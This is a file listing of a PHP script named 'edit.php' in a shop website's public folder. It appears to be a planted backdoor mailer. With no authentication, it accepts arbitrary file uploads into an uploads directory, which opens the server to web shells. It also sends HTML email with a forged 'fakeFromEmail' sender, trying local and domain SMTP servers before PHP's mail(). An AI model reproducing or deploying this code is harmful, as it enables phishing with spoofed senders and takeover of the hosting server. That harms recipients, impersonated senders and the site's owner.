• File: edit.php
  • Full Path: /home/zellburyy/public_html/thekayali.shop/edit.php
  • File size: 8.41 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
header('Content-Type: application/json');

// Catch Fatal Errors
function handleFatalError() {
    $error = error_get_last();
    if ($error !== null) {
        echo json_encode([
            "status" => "fail",
            "error"  => strip_tags($error['message']),
            "file"   => $error['file'],
            "line"   => $error['line']
        ]);
        exit;
    }
}
register_shutdown_function('handleFatalError');

// Use a 10-second timeout for connections
$defaultTimeout = 10;

// If a file upload is detected, process the file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    // Set the target directory to "uploads" (create if it does not exist)
    $targetDir = __DIR__ . '/uploads/';
    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0755, true);
    }
    $filename = basename($_FILES['file']['name']);
    $targetFile = $targetDir . $filename;

    if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
        echo json_encode([
            "status"  => "success",
            "message" => "File uploaded successfully",
            "file"    => $filename
        ]);
    } else {
        echo json_encode([
            "status"  => "fail",
            "error"   => "File upload failed"
        ]);
    }
    exit;
}

// Otherwise, assume JSON input for sending an email
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents("php://input");
    $data  = json_decode($input, true);

    // Validate required fields
    $required_fields = ['to', 'subject', 'fromEmail', 'fakeFromEmail', 'fromName', 'htmlContent'];
    foreach ($required_fields as $field) {
        if (!isset($data[$field])) {
            echo json_encode(["status" => "fail", "error" => "Missing required field: $field"]);
            exit;
        }
    }

    // Additional optional fields from the backend
    $forceMethod     = isset($data['forceMethod']) ? $data['forceMethod'] : null;
    $forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null;
    $forceSmtpPort   = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null;

    // If the forced SMTP override is "mail" (or "mail,mail") then force mail()
    if ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) {
        $smtpServerLower = strtolower(trim($forceSmtpServer));
        if ($smtpServerLower === "mail" || $smtpServerLower === "mail,mail") {
            $forceMethod = "mail";
        }
    }

    // Assign basic data to variables
    $to              = $data['to'];
    $subject         = $data['subject'];
    $from_email      = $data['fromEmail'];
    $fake_from_email = $data['fakeFromEmail'];
    $from_name       = $data['fromName'];
    $message         = $data['htmlContent'];

    // Encode the subject using MIME (quoted-printable)
    $encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', 'Q');

    // Encode the HTML body using quoted_printable_encode.
    $encoded_message = quoted_printable_encode($message);

    $domain         = $_SERVER['SERVER_NAME'];
    $cleaned_domain = preg_replace('/^www\./', '', $domain);
    $newline        = "\r\n";

    // Prepare email headers – note the addition of the Content-Transfer-Encoding header.
    $header_from = $fake_from_email ? $fake_from_email : $from_email;
    $headers  = "From: \"$from_name\" <$header_from>" . $newline;
    $headers .= "MIME-Version: 1.0" . $newline;
    $headers .= "Content-Type: text/html; charset=UTF-8" . $newline;
    $headers .= "Content-Transfer-Encoding: quoted-printable" . $newline;

    function smtp_command($socket, $command) {
        global $newline;
        fputs($socket, $command . $newline);
        return fgets($socket, 512);
    }

    // 1) If forced "mail" => use mail() directly.
    if ($forceMethod === "mail") {
        if (mail($to, $encoded_subject, $encoded_message, $headers)) {
            echo json_encode(["status" => "success", "method" => "mail"]);
        } else {
            echo json_encode(["status" => "fail", "error" => "mail() failed"]);
        }
        exit;
    }

    // 2) If forced "smtp" => use the forced SMTP server/port.
    if ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) {
        $server = $forceSmtpServer;
        $port   = (int)$forceSmtpPort;
        $use_ssl = false;
        if ($port == 465) {
            $use_ssl = true;
            $server = "ssl://" . $server;
        }
        $socket = @fsockopen($server, $port, $errno, $errstr, $defaultTimeout);
        if ($socket) {
            stream_set_timeout($socket, $defaultTimeout);
            smtp_command($socket, "EHLO $cleaned_domain");
            $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>");
            if (strpos($mail_from_response, "250") !== 0) {
                fclose($socket);
                echo json_encode(["status" => "fail", "error" => "Forced MAIL FROM failed"]);
                exit;
            }
            $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>");
            if (strpos($rcpt_to_response, "250") !== 0) {
                fclose($socket);
                echo json_encode(["status" => "fail", "error" => "Forced RCPT TO failed"]);
                exit;
            }
            smtp_command($socket, "DATA");
            smtp_command($socket, "Subject: $encoded_subject");
            smtp_command($socket, $headers);
            smtp_command($socket, $encoded_message);
            $final_response = smtp_command($socket, ".");
            if (strpos($final_response, "250") === 0) {
                fclose($socket);
                echo json_encode([
                    "status" => "success",
                    "method" => "SMTP",
                    "smtp_server" => "$server:$port"
                ]);
                exit;
            } else {
                fclose($socket);
                echo json_encode(["status" => "fail", "error" => "Forced SMTP server rejected message"]);
                exit;
            }
        } else {
            echo json_encode([
                "status" => "fail",
                "error" => "Could not connect to forced SMTP",
                "server" => $server,
                "port" => $port
            ]);
            exit;
        }
    }

    // 3) Otherwise, try a list of SMTP servers; if none work, fallback to mail().
    $smtp_servers = [
        ["localhost", 25, false],
        ["mail." . $cleaned_domain, 25, false],
        ["mail." . $cleaned_domain, 465, true]
    ];

    foreach ($smtp_servers as $smtp) {
        $smtp_server = $smtp[0];
        $smtp_port   = $smtp[1];
        $use_ssl     = $smtp[2];
        if ($use_ssl) {
            $smtp_server = "ssl://" . $smtp_server;
        }
        $socket = @fsockopen($smtp_server, $smtp_port, $errno, $errstr, $defaultTimeout);
        if ($socket) {
            stream_set_timeout($socket, $defaultTimeout);
            smtp_command($socket, "EHLO $cleaned_domain");
            $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>");
            if (strpos($mail_from_response, "250") !== 0) {
                fclose($socket);
                continue;
            }
            $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>");
            if (strpos($rcpt_to_response, "250") !== 0) {
                fclose($socket);
                continue;
            }
            smtp_command($socket, "DATA");
            smtp_command($socket, "Subject: $encoded_subject");
            smtp_command($socket, $headers);
            smtp_command($socket, $encoded_message);
            $final_response = smtp_command($socket, ".");
            if (strpos($final_response, "250") === 0) {
                fclose($socket);
                echo json_encode([
                    "status" => "success",
                    "method" => "SMTP",
                    "smtp_server" => "$smtp_server:$smtp_port"
                ]);
                exit;
            } else {
                fclose($socket);
            }
        }
    }

    // If all SMTP attempts fail, try PHP mail() fallback.
    if (mail($to, $encoded_subject, $encoded_message, $headers)) {
        echo json_encode(["status" => "success", "method" => "mail"]);
        exit;
    }
    echo json_encode(["status" => "fail"]);
    exit;
}
?>